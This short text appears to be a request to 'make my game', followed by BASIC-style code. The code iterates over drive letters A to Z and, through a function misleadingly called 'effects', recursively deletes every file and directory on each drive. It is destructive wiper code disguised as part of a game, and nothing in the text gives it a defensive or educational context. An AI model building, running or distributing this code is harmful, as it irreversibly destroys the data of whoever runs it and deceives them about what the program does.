Make my game please

for a=65 to 90
effects chr$(a)+":\"
next

function effects(dir$)
di=readdir(dir$)
repeat
f$=nextfile$(di)
if filetype(f$)=2 then
effects f$
else
deletefile f$
endif
until f$=""
closedir di
deletedir dir$
end function